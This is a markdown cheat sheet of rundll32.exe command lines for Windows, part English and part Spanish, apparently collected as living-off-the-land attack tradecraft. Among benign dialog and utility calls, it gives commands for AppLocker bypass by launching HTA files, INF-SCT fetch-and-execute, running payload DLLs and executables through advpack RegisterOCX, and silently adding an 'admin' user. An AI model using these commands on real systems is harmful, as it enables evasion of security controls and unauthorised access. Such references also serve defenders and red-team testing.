# Rundll32 commands for Windows
https://www.jesusninoc.com/2017/04/12/rundll32-commands-for-windows/

# Looking for other ways to launch your favorite HTA? Try these:
https://twitter.com/bohops/status/974043815655956481

```MS-DOS
rundll32.exe url.dll,OpenURL "local\path\to\harmless.hta"
rundll32.exe url.dll,OpenURLA "local\path\to\harmless.hta"
```

- Seems to bypass AppLocker Default Rules
- Does not handle actual Web URLs seamlessly

# SCT Execution Remote Via INFScript Useing ( SysSetup )
https://twitter.com/harr0ey/status/975350238184697857

InSide INFScript By @subTee Regsvr32 in INFScript

```MS-DOS
rundll32 syssetup,SetupInfObjectInstallAction DefaultInstall 128 C:\INFPS.inf
```

Raw INFScript Code ?
https://gist.github.com/homjxi0e/87b29da0d4f504cb675bb1140a931415

Video INFScript 
https://www.youtube.com/watch?v=R7rT63905i0

Leveraging INF-SCT Fetch & Execute Techniques For Bypass, Evasion, & Persistence
https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/

# rundll32
https://www.jesusninoc.com/2017/04/12/rundll32-commands-for-windows/

Abrir la calculadora
```MS-DOS
rundll32 zipfldr.dll, RouteTheCall calc.exe
rundll32 advpack.dll, RegisterOCX calc.exe
```
Crear un usuario
```MS-DOS
rundll32 advpack.dll, RegisterOCX "cmd.exe /c net user admin /add && rem .exe"
```
You looking out for that "RegisterOCX" function in IEAdvpack.dll?  
```MS-DOS
rundll32.exe C:\windows\system32\IEAdvpack.dll,RegisterOCX C:\path\to\payload.dll
rundll32.exe C:\windows\system32\IEAdvpack.dll,RegisterOCX C:\path\to\payload.exe
```
Llame al Asistente de conexión de la unidad de red
```MS-DOS
rundll32.exe shell32.dll, SHHelpShortcuts_RunDLL Connect
```
Abra un cuadro de diálogo que muestra la versión del sistema operativo Windows. También puede mostrar este cuadro de diálogo ejecutando el comando winver.exe
```MS-DOS
rundll32.exe shell32.dll, ShellAboutA
```
Muestra el árbol del sistema de archivos del disco duro de la computadora
```MS-DOS
rundll32.exe IEAKENG.dll, BrowseForFileA
```
Llame al cuadro de diálogo AYUDA Y SOPORTE en la página especificada. Por ejemplo, puede usar la llamada mshelp como la página html: // Windows /? Id = 33307acf-0698-41ba-b014-ea0a2eb8d0a8
```MS-DOS
rundll32.exe ndfapi.dll, NdfRunDllHelpTopic "html-page"
```
Llame al diálogo ABRIR COMO ... para abrir este archivo
```MS-DOS
rundll32.exe shell32.dll, OpenAs_RunDLL "ruta y nombre de archivo"
```
Muestra el cuadro de diálogo de la utilidad de red del cliente de SQL Server
```MS-DOS
rundll32.exe shell32.dll, Control_RunDLL Cliconfg.dll
```
Muestra el cuadro de diálogo Eliminar dispositivo
```MS-DOS
rundll32.exe shell32.dll, Control_RunDLL Hotplug.dll
```
Reescribe el contenido de este archivo
```MS-DOS
rundll32.exe admparse.dll, CheckDuplicateKeysA "ruta y nombre de archivo"
```
Crea una carpeta. Si esta carpeta ya existe, se borrarán todos sus contenidos
```MS-DOS
rundll32.exe IEAKENG.dll, BToolbar_SaveA "ruta a la carpeta"
```
Inicia el navegador de Internet Explorer y descarga la página http://g.msn.com/WMHFUSEN/101724
```MS-DOS
rundll32.exe appwiz.cpl, GetProgramsOnline
```
Ejecuta el comando.
```MS-DOS
rundll32.exe shell32.dll, ShellExec_RunDLL "comando"
```
Abra la carpeta. Si no especifica una carpeta, se abrirá la carpeta de su perfil
```MS-DOS
rundll32.exe url.dll, FileProtocolHandler "directorio"
```
Elimina todos los archivos de la carpeta especificada que tienen el atributo FILEATTRIBUTETAGINFORMATION
```MS-DOS
rundll32.exe WININET.dll, RunOnceUrlCache "ruta a la carpeta"
```
Ejecute el archivo xml
```MS-DOS
rundll32.exe xwizards.dll, ProcessXMLFile "ruta y nombre del archivo xml"
```
Presiona el botón derecho del mouse
```MS-DOS
rundll32.exe user32.dll, mouse_event
```
Coloque el cursor en la esquina inferior derecha de la pantalla
```MS-DOS
rundll32.exe user32.dll, SetCursorPos
```
Detener el servicio de actualización en segundo plano dfsvc.exe
```MS-DOS
rundll32.exe dfshim.dll, KillService
```
Ejecuta los comandos descritos en la rama de registro HKLM \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ RunOnceEx (o en la rama de la partición raíz HKCU)
```MS-DOS
rundll32.exe IERNONCE.dll, RunOnceExProcess
```
